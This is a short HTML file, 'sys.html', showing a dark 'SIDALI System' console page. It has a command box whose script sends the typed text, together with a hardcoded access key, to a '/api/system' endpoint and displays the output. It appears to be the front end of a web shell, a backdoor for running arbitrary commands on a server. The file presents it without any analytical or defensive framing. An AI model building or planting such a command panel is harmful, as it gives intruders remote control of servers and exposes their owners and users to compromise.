sys.html 778 B

123456789101112131415161718192021
  1. <!DOCTYPE html>
  2. <html>
  3. <head><title>System</title></head>
  4. <body style="font-family:monospace;background:#111;color:#0f0;padding:20px">
  5. <h2>SIDALI System</h2>
  6. <form id="f">
  7. <input id="c" style="width:80%;padding:10px;background:#222;color:#0f0;border:1px solid #0f0" placeholder="Command...">
  8. <button type="submit" style="padding:10px;background:#0f0;color:#111">Run</button>
  9. </form>
  10. <pre id="o" style="background:#000;padding:15px;margin-top:15px"></pre>
  11. <script>
  12. document.getElementById("f").onsubmit=async e=>{
  13. e.preventDefault();
  14. const c=document.getElementById("c").value;
  15. const r=await fetch("/api/system?key=51d@l!v4&c="+encodeURIComponent(c));
  16. const d=await r.json();
  17. document.getElementById("o").textContent=d.out||d.err||JSON.stringify(d);
  18. };
  19. </script>
  20. </body>
  21. </html>